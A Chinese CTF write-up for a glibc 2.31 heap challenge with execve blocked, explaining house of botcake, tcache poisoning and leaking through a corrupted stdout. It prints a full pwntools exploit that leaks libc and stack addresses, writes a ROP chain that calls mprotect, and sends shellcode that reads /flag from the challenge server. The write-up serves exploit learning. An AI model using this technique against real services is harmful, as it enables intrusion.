前言

day12每日一Pwn做到了这道题,自己独立分析的时候发现最多泄漏libc,之后就做不下去了,现在看完题解之后写一下学到的内容

题目链接:

https://www.nssctf.cn/problem/2390

题目分析

glibc-2.31

禁用了free_hook malloc_hook

开了沙箱,禁用了了execve

没有edit功能,只能在add的时候edit。正常的delete函数没有uaf,但是存在一个backdoor函数,这个函数也是delete功能,但是存在uaf,但是这个函数只能使用一次;存在show函数,只能使用一次。

先讲一下我一开始的思路,利用largebin attack+house of apple2

但是考虑到一方面没有edit功能,不容易largebin attack,另一方面house of apple2最后是通过system来getshell,但是题目禁用了,于是作罢

house of botcake

可以看到限制非常非常多,这里利用的手法就是 house of botcake

https://forum.butian.net/share/1709

条件:至少有一次uaf

  1. 分配七个填充堆块(小于最大的Tcache,大于最大的Fastbin),一个辅助堆块 prev ,一个利用堆块 victim,一个防止与topchunk合并的堆块 注意前九个堆块必须是同一大小

    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
    x[i] = malloc(0x100);
    }
    intptr_t *prev = malloc(0x100);
    intptr_t *victim = malloc(0x100);
    malloc(0x10); // 防止合并
  2. free掉前七个,此时tcache被填满

    for(int i=0; i<7; i++){
    free(x[i]);
    }
  3. free掉victim

  4. free掉prev,此时由于prev与victim物理相邻,并且在其上面,因此unsortedbin合并,prev和victim合并成1个

  5. 申请一个和之前堆块大小相等的堆块,此时就会从tcache中申请(原本tcache是满的),再free掉victim

  6. 申请一个与之前堆块大小不同的堆块,此时会切割unsortedbin,这样我们可以通过控制这个堆块来控制victim的prevsize size fd等(如果可以申请任意大小,可以申请比之前堆块大的,如果只能申请小堆块,也可以多申请几次,这样让最后一个堆块落到victim的header上去,这样就可以控制了)

  7. 之后我们可以通过控制victim的fd来实现tcache poisoning,之后可以申请回victim继续多次tcache_poisoning

总的来说,house of botcake就是实现了在没有edit函数的情况下,任意地址申请堆块

利用stdout来泄漏信息

假如能任意地址写,我们可以修改stdout的信息来实现在没有show功能下show内容

  1. 修改stdout的 _flags 为0xfbad1800
  2. 修改 read_base read_ptr read_end 都为0
  3. 修改write_base为要泄漏的地址
  4. 调用puts或者printf函数即可泄漏该地址处的内容

如果要利用stdout来泄漏libc的话,第3条可以只把_IO_write_base的最后一个字节改小 ,这样泄漏的信息里面就存在libc地址

题目思路

利用house of botcake来实现tcache poisoning,在house of botcake时可以使用uaf+show来泄漏libc地址,之后利用tcache poisoning来实现申请到stdout上,并修改stdout信息以泄漏environ中的栈地址,最后实现rop

rop中可以使用mprotect+read+shellcode的思路

exp

from pwncli import *

context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

def dbg():
gdb.attach(p,'b* $rebase(0x193f)')
def pp64(*args):
payload=b''
for i, arg in enumerate(args):
payload+=p64(arg)
return payload
def cmd(c):
sla("Choice: ",str(c))
def add(size,content):
cmd(1)
sla("size: ",str(size))
sa("content: ",content)
def delete(index):
cmd(2)
sla("idx: ",str(index))
def show(index):
cmd(3)
sla("idx: \n",str(index))
def uaf(index):
cmd(666)
sla("idx: \n",str(index))

#p=process('./pwn')
# node4.anna.nssctf.cn:28854
p=remote('node4.anna.nssctf.cn',28854)
libc=ELF('./libc.so.6')
for i in range(10):
add(0x80,"a")
for i in range(7):
delete(i)
uaf(8)

show(8)
libc_base=uu64(p.recv(6))-0x7375c37f9be0+0x7375c360d000
environ=libc_base+libc.sym['__environ']
stdout=libc_base+libc.sym['_IO_2_1_stdout_']
leak("libc_base",libc_base)
delete(7)

add(0x80,"a") # 0
delete(8)

add(0x60,b'a') # 1
add(0x60,p64(0)*3+p64(0x91)+p64(stdout)) # 2
add(0x80,"a") #3 imporant

add(0x80,p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)+p64(environ+8)) #4
ru('\n')
stack_addr=uu64(p.recv(6))-0x138
leak("stack_addr",stack_addr)

pop_rdi=0x23b6a+libc_base
pop_rsi=0x2601f+libc_base
pop_rdx=0x142c92+libc_base
mprotect=libc.sym['mprotect']+libc_base
read=libc.sym['read']+libc_base
delete(0)
delete(3)

delete(2)

add(0x60,p64(0)*3+p64(0x91)+p64(stack_addr+0x10)) # 0
#add(0x60,p64(0)*3+p64(0x91)+p64(stack_addr)) # 0
add(0x80,p64(0)) # 2
addr=libc_base+0x158000
rop=pp64(pop_rdi,addr,pop_rsi,0x1000,pop_rdx,7,mprotect)
rop+=pp64(pop_rdi,0,pop_rsi,addr,pop_rdx,0x1000,read,addr)
#gdb.attach(p,'b* $rebase(0x14c3)')
add(0x80,p64(0)+rop) # 3
# orw
shellcode=''
shellcode+=shellcraft.open('/flag',0,0)
shellcode+=shellcraft.read('rax',addr+0x800,0x100)
shellcode+=shellcraft.write(1,addr+0x800,'rax')# 1 stdout 2 stderr
shellcode=asm(shellcode)
s(shellcode)
ti()